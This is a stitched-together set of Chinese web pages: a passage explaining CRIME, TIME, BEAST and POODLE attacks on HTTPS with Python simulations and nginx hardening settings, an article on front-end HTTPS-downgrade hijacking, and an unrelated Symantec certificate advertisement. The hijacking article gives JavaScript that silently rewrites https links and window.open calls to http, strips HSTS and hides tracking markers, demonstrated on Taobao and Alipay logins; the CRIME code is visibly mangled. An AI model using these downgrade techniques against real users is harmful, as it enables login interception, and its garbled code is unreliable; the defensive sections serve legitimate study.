随机添加长度不定的垃圾数据。

TLS 1.0.SPDY protocol (Google).Applications that uses TLS compression.Mozilla Firefox (older versions) that support SPDY.Google Chrome (older versions) that supported both TLS and SPDY.

POC

这个poc并不是模拟真实环境下的中间人攻击,只是在python中利用CRIME的思想验证了攻击的可行性。

import string import zlib import sys import random charset = string.letters + string.digits COOKIE = ”.join(random.choice(charset) for x in range(30)) HEADERS = (“POST / HTTP/1.1rn” “Host: thebankserver.comrn” “Connection: keep-alivern” “User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn” “Accept: */*rn” “Referer: https://thebankserver.com/rn” “Cookie: secret=”+COOKIE+”rn” “Accept-Encoding: gzip,deflate,sdchrn” “Accept-Language: en-US,en;q=0.8rn” “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3rn” “rn”) BODY = (“POST / HTTP/1.1rn” “Host: thebankserver.comrn” “Connection: keep-alivern” “User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn” “Accept: */*rn” “Referer: https://thebankserver.com/rn” “Cookie: secret=”) cookie = “” def compress(data): c = zlib.compressobj() return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH) def getposset(perchar,chars): posset = [] baselen = len(compress(HEADERS+perchar)) for i in chars: t = len(compress(HEADERS+ perchar+i)) if (t<=baselen): posset += i return posset def doguess(): global cookie while len(cookie)<30: posset = getposset(BODY+cookie,charset) trun = 1 tem_posset = posset while 1<len(posset): body.find(?rn?)=”” while=”” true=”” return=”” posset[0]=”” print=”” +=”posset[0]” cookie=”” false=”” len(posset)=”=0:” if=”” +1=”” trun=”trun” posset=”getposset(tem_body+cookie,tem_posset)” tem_body=”BODY[trun:]”>=0: if not doguess(): print “(-)Changebody” BODY = BODY[BODY.find(“rn”) + 2:] print “(+)orign cookie”+COOKIE print “(+)Gotten cookie”+cookie

  0x02 TIME

Timing Info-leak Made Easy

攻击原理

攻击者控制受害者发送大量请求,利用压缩算法的机制猜测请求中的关键信息,根据response响应时间判断请求是否成功。其实TIME和CRIME一样都利用了压缩算法,只不过CRIME是通过长度信息作为辅助,而TIME是通过时间信息作为辅助。

Unable to render embedded object: File (1.jpg) not found.

如上图当数据长度,大于MTU时会截断为两个包发送,这样就会产生较大的相应时间差异。攻击者吧包长控制在MTU左右,不断尝试猜测COOKIE。 Unable to render embedded object: File (QQ图片20140724174303.jpg) not found.

如上图所示,我们通过添加Padding来吧数据包大小增加到和MTU相等,Case 1中我们添加的extraByte和需要猜测的数据重合,因为压缩算法的原因,并不会增加包的长度,而Case 2中extraByte和需要猜测的数据并不一致,导致了分包。攻击这可以通过响应时间的不同来区分Case1 Case2两种情况。

攻击前提

攻击这可以控制受害者发送大量请求并可以控制请求内容。

稳定的网络环境。

防御方法

在解密Response过程中加入随机的短时间延迟。

阻止短时间内的频繁请求。

  0x03 BEAST

Browser Exploit Against SSL/TLS

攻击原理

攻击者控制受害者发送大量请求,利用CBC加密模式猜测关键信息。

CBC模式工作的方法是当加密第i块的时候,和第i-1块的密文异或。更正式地表达如下:

Ci= E(Key, Ci-1 ? Mi)

很显然,当你加密第一块的时候,没有前一块的密文和它异或,因此,标准的做法是产生一个随机的初始化向量(IV),并且用它和第一块明文异或。第一块M0的加密如下:

C0= E(Key, IV ? M0).

然后,接着第一块M1加密如下:

C1= E(Key, C0 ? M1).

现在,除非C0 碰巧和IV一样(这是非常不可能的),那么,即使M0 = M1,对于加密函数来说,两个输入是不同的,因此,C0≠ C1。 CBC有两种的基本的使用方法:

1. 对于每条记录都认为是独立的;为每一个记录产生一个IV

2. 把所有的记录当作一个链接在一起的大对象,并且在记录之间继续使用CBC的状态。这意味着最后一条记录n的IV是n-1条记录的密文。

SSLV3和TLS1.0选择的是第二个用法。这好像本来就是个错误

CBC有两种的基本的使用方法:

1. 对于每条记录都认为是独立的;为每一个记录产生一个IV

2. 把所有的记录当作一个链接在一起的大对象,并且在记录之间继续使用CBC的状态。这意味着最后一条记录n的IV是n-1条记录的密文。

SSL 3.0和TLS1.0选择的是第二个用法。因此产生了加密算法的安全问题。

攻击者可以把想要猜测的数据段替换掉成:

X ? Ci-1 ? P

当这个注入的内容被加密,X会被异或,结果传给加密算法的明文块如下:

Ci-1 ? P

如果P==Mi , 新的密文块将和Ci一样,这意味着,你的猜测是正确的。

攻击前提

攻击者可以获取受害者的网络通信包。(中间人攻击,ISP供应商)

攻击者需要能得到发送敏感数据端的一部分权限。以便将自己的信息插入SSL/TLS会话中。

攻击者需要准确的找出敏感数据的密文段。

攻击这可以控制受害者发送大量请求并可以控制请求内容。

防御方法

使用RC4加密模式代替BCB加密模式。

部署TLS 1.1或者更高级的版本,来避免SSL 3.0/TLS 1.0带来的安全问题。

在服务端设置每传输固定字节,就改变一次加密秘钥。

影响范围

TLS 1.0.

SPDY protocol (Google).

Applications that uses TLS compression.

Mozilla Firefox (older versions) that support SPDY.

Google Chrome (older versions) that supported both TLS and SPDY.

POC

仅在python上模拟了攻击思想的实现,编码中只实现了第一个字母的猜测。

import sys import string import random from Crypto.Cipher import AES key = ‘lyp62/22Sh2RlXJF’ mode = AES.MODE_CBC vi = ‘1234567812345678’ charset = string.letters + string.digits cookie = ”.join(random.choice(charset) for x in range(30)) HEADERS = (“POST / HTTP/1.1rn” “Host: thebankserver.comrn” “Connection: keep-alivern” “User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1rn” “Accept: */*rn” “Referer: https://thebankserver.com/rn” “Cookie: secret=”+cookie+”rn” “Accept-Encoding: gzip,deflate,sdchrn” “Accept-Language: en-US,en;q=0.8rn” “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3rn” “rn”) global pad_num def add_padding(plaintext): global pad_num pad_num = 16 – len(plaintext) % 16 for i in range(0,pad_num): plaintext += chr(pad_num) return plaintext def check_padding(plaintext): global pad_num for i in range(1,pad_num+1): if (plaintext[-i]!=chr(pad_num)): return False return True def encrypto(plaintext): global pad_num obj = AES.new(key,mode,vi) if (len(plaintext) % 16): plaintext = add_padding(plaintext) else: pad_num=0 ciphertext = obj.encrypt(plaintext) if (check_padding(ciphertext)): return ciphertext else: return 0 def decrypto(ciphertext): obj = AES.new(key,mode,vi) plaintext = obj.decrypt(ciphertext) return plaintext def findcookie(): global HEADERS return HEADERS.find(‘secret=’)+7 guess_cookie=” pos_cookie=findcookie() pos_block_s = pos_cookie + 16 – pos_cookie%16 HEADERS = HEADERS[:pos_cookie] + (16 – pos_cookie % 16 + 15)*’a’ +HEADERS[pos_cookie:] encry_head = encrypto(add_padding(HEADERS)) per_per_block = encry_head[pos_block_s – 16:pos_block_s] #Ci-1 per_block = encry_head[pos_block_s:pos_block_s+16] #x aft_block = encry_head[pos_block_s+16:pos_block_s+32] #Ci+1 for i in charset: guess_block = ‘a’ * 15 + i insert_block = ”.join(chr(ord(a) ^ ord(b) ^ ord(c)) for a,b,c in zip(per_block,per_per_block,guess_block)) temp_header = HEADERS[:pos_block_s+16] + insert_block + HEADERS[pos_block_s+16:] encry_temp_header = encrypto(add_padding(temp_header)) if (aft_block == encry_temp_header[pos_block_s+32:pos_block_s+48]): print “(+)first byte is:”+i print “(+)orign cookie:”+cookie

攻击者首先使用降级攻击,来让浏览器使用ssl v3.0,再通过ssl v3.0 CBC-mode 存在的缺陷,窃取到用户传输的明文。

  0x04 POODLE

降级攻击

ssl v3.0是一个存在了很久的协议了,现在大多数浏览器为了兼容性都会支持这个协议,但是并不会首先使用这个协议,中间人攻击者可以驳回浏览器协商高版本协议的请求,只放行ssl v3.0协议。

Padding Oracle攻击

针对于CBC的攻击之前已经有一些了,比如,Beast,Lucky17之类的,详细可以看这里

首先来看CBC-mod的加解密流程。

常见HTTPS攻击方法——解析-1

  解密流程

常见HTTPS攻击方法——解析-1

  加密流程

常见HTTPS攻击方法——解析-2

  校验流程

MAC1 = hash(明文)

密文 = Encode(明文+MAC1+Padding,K) 明文 = Decode(密文,k) – MAC1-Padding(padding的长度由最后一个字节标识)

MAC2 = hash(明文) 如果 MAC1 == MAC2 则校验成功 否则失败

知二求三

Padding Oracle 攻击一般都会满足一个知二求三的规律,如下图

(1) VI

(2) 解密后的数据,叫它 midText把

(3) Plaintext

这三个值我们得到其中两个就可以推出另外一个,因为他们在一起Xor了嘛。

/uploadImages/2015/001/4FR36E9F7YI0.jpg

在Poodle攻击中,我们会把最后一个数据块替换成我们想要猜测的数据块。如下图所示。

常见HTTPS攻击方法——解析-4

  这样导致的直接后果就是,CBC完整性验证失败,数据包被驳回。我们假设最后一个数据块均为padding组成(其实我们可以通过控制包的长度来达到这一目的,比如增加path的长度)

那么当且仅当Plaintext[7] == 7(block为16为时为15) 的时候CBC完整性校验才会通过。如果不为7,多删或者少删的padding,都会影响到MAC的正确取值,从而导致校验失败。

那么,我们只需要不断地更改(1) IV 最后一位的值 ,直到(3) Plaintext最后一位为 7 (CBC验证通过)的时候,我们就可以推出 (2) mid text 的最后一位。

常见HTTPS攻击方法——解析-3

  0x05 安全配置建议

此处的安全配置以nginx为例,主要在Nginx.conf中配置。

使用较为安全的SSL加密协议

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

使用严格的加密方法设置。

ssl_ciphers ‘ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!CAMELLIA:!DES:!MD5:!PSK:!RC4’;

优先依赖服务器密码。

ssl_prefer_server_ciphers on;

启用HSTS协议。

add_header Strict-Transport-Security max-age=15768000;

重定向的配置

server {

listen 80;

add_header Strict-Transport-Security max-age=15768000;

return 301 https://www.yourwebsite.com$request_uri;

}

使用2048位的数字证书

openssl dhparam -out dhparam.pem 2048

ssl_dhparam /path/to/dhparam.pem;

分类
知识中心

SSLStrip的未来——HTTPS前端劫持

0x00 前言

在之前介绍的流量劫持文章里,曾提到一种『HTTPS向下降级』的方案 —— 将页面中的 HTTPS 超链接全都替换成 HTTP 版本,让用户始终以明文的形式进行通信。

看到这,也许大家都会想到一个经典的中间人攻击工具 —— SSLStrip,通过它确实能实现这个效果。

不过今天讲解的,则是完全不同的思路,一种更有效、更先进的解决方案 —— HTTPS 前端劫持。

  0x01 后端的缺陷

在过去,流量劫持基本通过后端来实现,SSLStrip就是个典型的例子。

类似其他中间人工具,纯后端的实现只能操控最原始的流量数据,这严重阻碍了向更高层次的发展,面临众多难以解决的问题。

动态元素怎么办?

如何处理数据包分片?

性能消耗能否降低?

……

动态元素

在 Web 刚出现的年代里,SSLStrip 这样的工具还是大有用武之地的。那时的网页都以静态为主,结构简单层次清晰。在流量上进行替换,完全能够胜任。

然而,如今的网页日益复杂,脚本所占比重越来越多。如果仅仅从流量上着手,显然力不从心。

var protocol = ‘https’; document.write(‘Login’);

即使非常简单的动态元素,后端也毫无招架之力。

分片处理

分块传输的道理大家都明白。对于较大的数据,一口气是无法传完的。客户端依次收到各个数据块,最终才能合并成一个完整的网页。

SSLStrip的未来——HTTPS前端劫持-1

  由于每次收到的都是残缺的碎片,这给链接替换带来很大的麻烦。加上不少页面并非标准的 UTF-8 编码,因此更是难上加难。

为了能顺利进行,中间人通常先收集数据,等到页面接收完整,才开始替换。

SSLStrip的未来——HTTPS前端劫持-1

  如果把数据比作水流,这个代理就像大坝一样,拦截了源源不断往下流的水,直到蓄满了才开始释放。因此,下游的人们需忍受很久的干旱,才能等到水源。

性能消耗

由于 HTML 兼容众多历史遗留规范,因此替换工作并非是件轻松事。

各种复杂的正则表达式,消耗着不少的 CPU 资源。尽管用户最终点击的只是其中一两个链接,但中间人并不知道将会是哪个,因此仍需分析整个页面。这不得不说是个悲哀。

 0x02 前端的优势

如果我们的中间人能打入到页面的前端,那么情况会不会有所改善呢?

分片处理

首先,要派一名间谍到页面里。这是非常容易办到的:

SSLStrip的未来——HTTPS前端劫持-3

  不像超链接遍布在页面各处,脚本插入到头部即可运行了。所以我们根本不用整个页面的数据,只需改造下第一个 chunk 就可以,后续的数据仍然交给系统转发。

因此,整个代理的时间几乎不变!

动态元素

很好,我们轻易渗透到页面里。但接着又如何发起进攻?

既然到了前端里,方法就相当多了。最简单的,就是遍历超链接元素,将 https 的都替换成 http 版本。

这个想法确实不错,但仍停留在 SSLStrip 思维模式上。还是『替换』这条路,只是从后端搬到前端而已。

尽管这个方法能胜任大多场合,但仍然不是最完美的。我们并不知道动态元素何时会添加进来,因此需要开启定时器不断的扫描。这显然是个很挫的办法。

性能优化

事实上,超链接无论是谁产生的、何时添加进来的,只要不点击,都是不起作用的。所以,我们只需关心何时去点击就可以 —— 如果我们的程序,能在点击产生的第一时间里控制住现场,那么之后的流程就可由我们决定了。

听起来似乎很玄乎,不过在前端,这只是小菜一碟的事。点击,不过个事件而已。既然是事件,我们用最基础的事件捕获机制,即可将其轻松拿下:

document.addEventListener(‘click’, function(e) { // … }, true);

DOM-3-Event 是个非常有意义的事件模型。之前用它来实现『内联 XSS 拦截』,如今同样也可以用来劫持链接。

我们捕获全局的点击事件,如果发现有落在 https 超链接上,果断将其……拦截?

如果真把它拦截了,那新页面就不会出现了。当然你会说,可以自己 window.open 弹一个,反正点击事件里是可以弹窗的。

不过,请别忘了,并非所有的超链接都是弹窗,也有不少是直接跳转的。你也会说可以修改 location 来实现。

但要识别是『弹窗』还是『跳转』,并不简单。除了超链接的 target 属性,页面里的 元素也会有影响。当然,这些相信你都能处理好。

然而,现实未必都是那么简单的。有些超链接本身就绑定了 onclick 事件,甚至在其中 return false 或 preventDefault,屏蔽了默认行为。如果我们不顾及这些,仍然模拟跳转或弹窗,那就违背页面的意愿了。

事实上,有一个非常简单的办法:当我们的捕获程序运行时,新页面还远没出现,这时仍有机会修改超链接的 href。待事件冒泡完成、执行默认行为时,浏览器才读取 href 属性,作为最终的结果。

因此,我们只需捕获点击事件,修改超链接地址就可以了。至于是跳转、弹窗、还是被屏蔽,根本不用我们关心。

SSLStrip的未来——HTTPS前端劫持-2

  就那么简单。因为我们是在用户点下去之后才修改,所以浏览器状态栏里,显示的仍是原先 https !

当然,点过一次之后,再把鼠标放到超链接上,状态栏里显示的就是修改后的了。

为了能继续忽悠,我们在修改 href 之后的下个线程周期里,把它改回来。因为有了一定延时,新页面并不受影响。

var url = link.href; // 保存原始地址 link.href = url.replace(‘https://’, ‘http://’); // 暂时换成 http 的 setTimeout(function() { link.href = url; // 新页面打开后,还原回来 }, 0);

这样,页面里的超链接始终都是正常的 —— 只有用户点下的瞬间,才临时伪装一下。

 0x03 更多拦截

除了通过超链接,还有其他方式访问页面,我们应尽可能多的进行监控。例如:

表单提交

window.open 弹窗

框架页面

…..

表单提交

表单提交和超链接非常类似,都具有事件,只是将 click 换成 submit,href 换成 action 而已。

脚本弹窗

函数调用的最简单了,只需一个小钩子即可搞定:

var raw_open = window.open; window.open = function(url) { // FIX: null, case insensitive arguments[0] = url.replace(‘https://’, ‘http://’); raw_open.apply(this, arguments); }

框架页面

因为我们把主页面降级成 http 了,但里面的框架地址仍是原先的。由于协议不同,这会产生跨域问题,导致页面无法正常工作。

所以我们还要把页面里的框架,也都转型成 http 版本,确保能和主页面融为一致。

但框架和之前的那些不同,因为它是自动加载的,而且也没有一个即将加载的事件。如果等到框架加载完了再去处理,说不定已经开始报跨域错误了。而且还会白白的浪费一次加载流量。

因此,我们必须让框架一出现,就立即替换掉地址。

这在过去是个很棘手的问题,然而 HTML5 时代给我们带来了新希望 —— MutationEvent。用它即可实时监控页面元素,之前也尝试过一些试验。

当然,即使 MutationEvent,偶尔也会有延时遗漏。为了能彻底避免出现 https 框架页,我们继续使用 HTML5 带来的一项新技术 —— Content Security Policy,由于它是浏览器原生支持的,因此实施的非常彻底。

在我们的代理返回头中,加上如下 HTTP 头部,即可完美拦截 https 框架页了:

Content-Security-Policy: default-src * data ‘unsafe-inline’ ‘unsafe-eval’; frame-src http://*

解决了框架页的问题,我们就能成功劫持支付宝登录页的账号框 IFrame 了!

SSLStrip的未来——HTTPS前端劫持-5

  0x04 后端配合

通过前端的 XSS 脚本,我们轻易解决了过去各种棘手的问题。但挑战并未就此结束,我们仍面临着众多难题。

如何告诉代理

尽管在前端上面,我们已经避开了各种进入 https 的途径,让请求以明文的形式交给代理。但代理又如何决定,这个请求用 https 还是 http 转发呢?

传统的后端劫持之所以能正确转发,那是在替换超链接的时候,已经做下记录。当出现记录中的请求,就走 https 的转发。

而我们的劫持在前端,并且只发生在点击的一瞬间。即使马上去告诉中间人,某个 URL 是 https 的,这时也来不及了。

告诉中间人是必须的。但我们可以用一个巧妙的方法,不必单独发送消息 —— 我们只需在转型后的 URL 里,做个小记号就可以了。

当代理发现请求的 URL 里有这个记号,它自然就懂了,直接走 https!

SSLStrip的未来——HTTPS前端劫持-1

  由于把页面从 https 降级到了 http,因此相关请求的referer也变成 http 版了。所以,中间人应尽量把 referer 也修正回来,避免被服务器察觉。

隐藏伪装

不过,在 URL 里加标记的方法,也有很大的缺陷。

因为页面的 URL 会在地址栏里显示出来,所以用户会看见我们的记号。当然,我们可以使用一些迷惑性的字符,例如 ?zh_cn、?utf_8,?from_baidu 等等,更好的欺骗用户。

当然,如果你觉得还是不满意,也有办法让这些碍眼标记尽快消失:

if url has symbol

history.replaceState(…, clear_symbol(url) )

HTML5 为我们提供了修改地址栏的能力,并且无需刷新。这些强悍的功能,如今都可以在前端利用起来了。

重定向劫持

当然,光靠前端的劫持,还是远远不够的。现实中,还有另一种很常见的方式,那就是重定向到安全页面。

仔细回想下,平时我们是怎样进入想上的网站的。例如支付宝,除非你有收藏,否则就得自己敲入 www.alipay.com 或 www.zhifubao.com,当你回车进入时,浏览器又如何知道这是个 HTTPS 的网站呢?

显然,第一个请求仍是普通的 HTTP 协议。当然,这个 HTTP 版的支付宝的确存在,它的唯一功能就将用户重定向到 HTTPS 版本。

当我们的中间人一旦发现有重定向到 HTTPS 网站的,当然不希望用户走这条不受自己控制的路。于是拦下这个重定向,然后以 HTTPS 的方式,获取重定向后的内容,最后再以 HTTP 明文的方式,回复给用户。

SSLStrip的未来——HTTPS前端劫持-7

  因此在用户看来,始终处于 HTTP 网站上。

不过,如今的 Web 里增加一个新的安全标准:HTTP Strict Transport Security。如果客户端收到这个头部,之后一段时间内访问该站点,就始终通过 HTTPS 的方式。

所以我们的中间人一旦发现有这个字段,就得果断将其删除。

当然,用户直接敲网址的并不常见。大多都是搜索引擎,然后直接从第一个结果里进来了。

比较悲剧的是,国内的搜索引擎几乎都是 HTTP 的。在用户访问搜索页面的时候,我们的 XSS 早已潜伏在其中了,因此从中点出来的任何一条结果,都是进不到官方的 HTTPS 里的:)

除了搜索页面,不少类似 hao123 之类的网址大全,大多也未开启 HTTPS。因此从中导流的网站,都面临着被中间人劫持的风险。

  0x05 防范措施

介绍了攻击方法,接着讲解防御措施。

脚本跳转

事实上,无论是前端劫持还是后端过滤,仍有不少的网站无法成功。例如京东的登录:

SSLStrip的未来——HTTPS前端劫持-4

  它是通过脚本跳转到 HTTPS 地址的。而浏览器的 location 是个及其特殊的属性,它可以被屏蔽,但无法被重写。因此我们难以控制页面的跳转情况。

如果非要劫持京东页面,我们只能使用白名单的方式,特殊对待该站点。但这样就大幅增加了攻击成本。

混淆明文

当然,不难发现京东的登录脚本里,URL 是以最直白的明文出现的。所以我们利用 SSLStrip 的方式,对脚本里的 https:// 的文本进行替换,也能起到一定的作用,毕竟大多脚本都对此毫无防备。

但对于稍微复杂一点的脚本,例如通过字符串拼接而成的 URL,那么就难以实施了。

所以在安全需要较高的场合,不妨把一些重要的地址进行简单的处理,中间人就无法使用通用的方式来攻击。而必须针对站点进行特殊对待,从而提高攻击成本。

尽可能多的 HSTS

之前提到 HSTS 头。只要这个字段出现过一次,浏览器在很长时间里都会只用 HTTPS 访问站点。因此,我们尽可能多的开启 HSTS。

现实中的劫持并非都是 100% 成功的,上述提到,使用脚本跳转很容易出现遗漏。所以,只要逮住用户一次遗漏,HSTS 就可以让之后的页面降级彻底失效了。

  0x06 攻击演示

因为是前端劫持,所以 Demo 有两个文件:一个前端代码,另一个后端脚本(NodeJS)。

相关源码:https://github.com/EtherDream/https_hijack_demo

相比之前写的流量劫持演示,这里功能更为专一,不再提供额外的劫持途径(例如 DNS 等)。

想测试其实非常简单,只需配置浏览器代理,即可模拟 HTTP 的劫持:

SSLStrip的未来——HTTPS前端劫持-5

  不嫌麻烦的话,也可以在 Linux 内核的系统上测试,转发 80 到本机即可。原理都是一样的。

我们随便找一个 HTTP -> HTTPS 网站做测试。

得益于前端脚本的优势,我们把鼠标放到登录超链接上,状态栏显示的仍是原始 URL:

SSLStrip的未来——HTTPS前端劫持-10

  在我们点击的瞬间,暗藏页面中的 XSS 钩子触发了,成功把我们带到中间人虚拟的 HTTP 登录页面里。

当然,由于 URL 参数很多,地址栏里的那个记号看不到了。

SSLStrip的未来——HTTPS前端劫持-6

  庆幸的是,淘宝的登录页面未进行地址判断,被降级后的页面仍然能登录成功!

SSLStrip的未来——HTTPS前端劫持-12

  当然之前也说了,并非所有的页面都能劫持成功。

如今越来越多的网站都已重视,因此前端的安全性检测也随之而生。仅仅通过一个工具,实现大规模通用化的劫持,未来会更加困难。

但先比传统的纯后端实现,前后结合的方案能够带来更大的发挥空间。

分类
SSL证书

赛门铁克Symantec SSL证书产品及服务

在SSL证书市场,Symantec证书在全球具有绝对领先地位:

 

世界500强企业中93%的公司选择了赛门铁克Symantec的SSL证书服务;

世界100家最大的银行中97%的公司选择了VeriSign的SSL证书服务;

全球50大电子商务网站中的47个网站所选用VeriSign的SSL证书服务;

国内用户中包括四大商业银行、招商银行、中信银行、光大银行在内的主要商业银行均选用了赛门铁克Symantec的EV SSL证书服务。

 

赛门铁克Symantec SSL证书产品及服务-1

 

SSL数字证书

128位SSL强制型SSL证书(Secure Site Pro)和128位SSL支持型SSL证书(Secure Site)利用SSL技术保障客户在线输入的信用卡号、交易密码等机密信息的安全。

 

Symantec Secure Site Pro (128位强制型)

Symantec Secure Site (128位支持型)

赛门铁克Symantec SSL证书产品及服务-2 产品特性: 产品特性:
全球最为知名的数字证书品牌无法仿冒的动态即时安全标章

SGC128位强制加密技术

兼容所有的浏览器  赛门铁克Symantec SSL证书产品及服务-3

证书包含企业身份信息

价值 125万美元的安全担保

 

全球最为知名的数字证书品牌无法仿冒的动态即时安全标章

40/56/128/256 位自适用加密

兼容所有的浏览器  赛门铁克Symantec SSL证书产品及服务-3

证书包含企业身份信息

价值 100万美元的安全担保

 

赛门铁克Symantec SSL证书产品及服务-4    赛门铁克Symantec SSL证书产品及服务-3 赛门铁克Symantec SSL证书产品及服务-4    赛门铁克Symantec SSL证书产品及服务-3

 


EVSSL数字证书

128位强制型EV SSL证书(Secure Site Pro with EV)和128位支持型EV SSL证书(Secure Site with EV)作为国际反欺诈钓鱼行动的重要组成部分,通过展示绿色地址栏证实网站安全与可靠。

 

Symantec Secure Site Pro with EV(128位强制型EV)

Symantec Secure Site with EV(128位支持型EV)

赛门铁克Symantec SSL证书产品及服务-2 产品特性: 产品特性:

全球最为知名的数字证书品牌

SGC128位强制加密技术

兼容所有的浏览器赛门铁克Symantec SSL证书产品及服务-7

绿色地址栏,增加客户信赖度,带来更多交易

扩展验证功能帮助挫败欺诈钓鱼网站

价值150万美元的安全担保

全球最为知名的数字证书品牌

40/56/128/256 位自适用加密

兼容所有的浏览器  赛门铁克Symantec SSL证书产品及服务-7

绿色地址栏,增加客户信赖度,带来更多交易

扩展验证功能帮助挫败欺诈钓鱼网站

价值150万美元的安全担保

赛门铁克Symantec SSL证书产品及服务-4        赛门铁克Symantec SSL证书产品及服务-3     赛门铁克Symantec SSL证书产品及服务-4       赛门铁克Symantec SSL证书产品及服务-3

 


天威诚信Symantec证书产品服务

1.7×24小时电话及技术支持:采用专业的客服与技术人员进行分配调试,并且由专业客服一对一进行服务。

2.在线指导用户证书的安装、调试、备份

3.证书有效期内提供每年三次回访服务

 

SSL证书购买流程

赛门铁克Symantec SSL证书产品及服务-5